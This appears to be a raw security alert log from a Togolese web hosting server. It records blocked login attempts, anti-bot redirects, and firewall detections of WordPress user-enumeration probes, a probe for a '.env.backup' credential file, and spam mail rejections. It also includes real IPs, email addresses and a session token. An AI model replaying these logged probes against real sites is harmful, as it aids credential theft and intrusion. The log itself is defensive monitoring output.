81.53.36.105 - - [19/Jun/2026:05:05:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804446&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781845552 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.59.247.143
country_id: 2017370
description:
2026-06-19 05:08:03 H=([185.59.247.143]) [185.59.247.143]:12055 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: nps.tg
description:


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.76.254
country_id: 2363686
domain: www.letabloid.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:11:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050137&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781845873 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.109
country_id: 3469034
description:
Jun 19 05:11:19 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.109
country_id: 3469034
description:
Jun 19 05:11:27 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.109 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.43.53
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-06-19 02:15:47 +0000] info [cpaneld] 34.27.42.6 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.45.162
country_id: 226074
description:
Jun 19 01:09:13 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.45.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.62
country_id: 3469034
description:
Jun 19 04:15:39 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.192.106.244
country_id: 3469034
description:
Jun 19 00:04:45 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.192.106.244 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 117.5.142.91
country_id: 1562822
domain: civilemagazine.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-12.117.5.142.91||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.7
country_id: 3175395
description:
Jun 19 02:52:45 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.23
country_id: 3469034
description:
Jun 19 04:24:48 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.69
country_id: 298795
description:
Jun 19 02:32:35 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.254
country_id: 3175395
description:
Jun 19 02:24:24 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.148
country_id: 3469034
description:
Jun 19 03:59:44 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.11
country_id: 3469034
description:
Jun 19 02:02:56 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.132
country_id: 3469034
description:
Jun 19 04:57:01 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.54.18.18
country_id: 2623032
description:
Jun 19 00:15:34 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.54.18.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.134.86.6
country_id: 174982
description:
2026-06-19 05:18:18 H=([5.134.86.6]) [5.134.86.6]:64693 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.74
country_id: 1512440
description:
2026-06-19 05:17:47 H=([213.230.92.74]) [213.230.92.74]:11121 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-06-19 05:18:12 +0000] info [cpaneld] 34.27.42.6 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.227.99.87
country_id: 1668284
description:
Jun 19 05:17:59 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.227.99.87 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:18:40 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:05:18:41 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:18:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:05:18:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.76.106.13
country_id: 6252001
description:
Jun 19 05:19:27 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.76.106.13 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.13
country_id: 2635167
description:
[2026-06-19 05:19:52 +0000] info [cpaneld] 5.230.153.13 NEW frtwilql:00n6hCWgBiuwj2ZM address=5.230.153.13,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.135.251
country_id: 1269750
description:
Jun 19 05:19:54 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.135.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.125.21.56
country_id: 3469034
description:
Jun 19 05:19:43 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.125.21.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.180
country_id: 298795
description:
Jun 19 05:20:13 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.180 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 5.31.181.55
country_id: 290557
description:
5.31.181.55 - - [19/Jun/2026:05:20:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7368086&pdata=https%253A%252F%252F24heureinfo.tg%252Fa-la-une%252Ftogo-agbeyome-kodjo-na-pas-renonce-au-combat-politique&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781846415 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/a-la-une/togo-agbeyome-kodjo-na-pas-renonce-au-combat-politique" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:5.31.181.55


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.49.27.55
country_id: 3658394
description:
179.49.27.55 - - [19/Jun/2026:05:21:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134993&pdata=https%253A%252F%252F24heureinfo.tg%252Feducation%252Ful-ouverture-dune-periode-derogatoire-de-payement-des-frais-dinscription&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781846465 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/education/ul-ouverture-dune-periode-derogatoire-de-payement-des-frais-dinscription" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.49.27.55


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.198.113
country_id: 6252001
description:
2026-06-19 05:21:13 dovecot_login authenticator failed for H=wsip-70-183-198-113.br.br.cox.net ([37.79.232.82]) [70.183.198.113]:34819: 535 Incorrect authentication data (set_id=dnador@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:20:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973596&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781846431 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.76.106.13
country_id: 6252001
description:
Jun 19 05:20:59 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.76.106.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.180
country_id: 298795
description:
Jun 19 05:20:26 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.134.86.6
country_id: 174982
description:
2026-06-19 05:20:34 H=([5.134.86.6]) [5.134.86.6]:51061 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:05:20:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790060&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781846439 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.216.246.70
country_id: 3469034
description:
2026-06-19 05:21:31 dovecot_login authenticator failed for H=([203.206.107.206]) [200.216.246.70]:45531: 535 Incorrect authentication data (set_id=dnador)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-06-19 05:21:36 H=([77.83.39.59]) [77.83.39.59]:52640 F=<qr11@lifecf.org> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:25:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868142&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781846724 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.191.175.231
country_id: 2017370
description:
2026-06-19 05:25:29 H=([46.191.175.231]) [46.191.175.231]:50829 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.13
country_id: 6252001
description:
205.169.39.13 - - [19/Jun/2026:05:25:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117926&pdata=http%253A%252F%252Fsodigaz.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781846739 HTTP/1.1" 302 0 sodigaz.tg "http://sodigaz.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.13


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.2
country_id: 3469034
description:
Jun 19 05:26:46 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.163.4
country_id: 3469034
domain: api.sodigaz.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:sodigaz||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 116.169.6.236
country_id: 1814991
description:
2026-06-19 05:28:31 H=([0.0.0.0]) [116.169.6.236]:33379 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.135.36.45
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2020/12/IMG-20201207-WA0038.jpg 1080w, http:/togodailynews.tg/wp-content/uploads/2020/12/IMG-20201207-WA0038-300x230.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2020/12/IMG-20201207-WA0038-768x589.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2020/12/IMG-20201207-WA0038-1024x785.jpg 1024w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.101.59
country_id: 798544
description:
Jun 19 05:29:34 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.101.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.58.232.115
country_id: 2963597
description:
Jun 19 05:30:08 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.58.232.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 124.217.118.98
country_id: 1694008
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/03/Faure_21ponts-860x645-1.jpg 860w, http:/togodailynews.tg/wp-content/uploads/2024/03/Faure_21ponts-860x645-1-300x225.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/03/Faure_21ponts-860x645-1-768x576.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.223.89.165
country_id: 1210997
description:
203.223.89.165 - - [19/Jun/2026:05:31:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855067&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-11818citems%252Feti.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781847071 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-11818citems/eti.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.223.89.165


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 203.188.168.205
country_id: 3469034
domain: cfpj.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:cfpjusti||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.28.185
country_id: 6251999
domain: letabloid.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:104.252.28.185||TA:104.252.28.185||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 2.79.41.22
country_id: 1522867
description:
2026-06-19 05:33:16 H=([2.79.41.22]) [2.79.41.22]:59032 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.133.61.252
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/777c74 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:05:33:53 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.185.174
country_id: 6252001
domain: letabloid.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:192.186.185.174||TA:192.186.185.174||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:33:57 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:33:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 203.188.168.151
country_id: 3469034
domain: cfpj.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw@wordpress.com||User:cfpjusti||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:05:33:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-36.213.32.21.59||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.171.58.22
country_id: 587116
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/05/Manuel-Moses-CEO-ATI.png 700w, http:/togodailynews.tg/wp-content/uploads/2023/05/Manuel-Moses-CEO-ATI-300x171.png 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:05:37:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9671572&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781847436 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:37:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6800025&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781847442 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.120.191.151
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/733310965 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:40:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7246997&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781847632 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.19.209.43
country_id: 3686110
domain: www.wages.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.wages.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
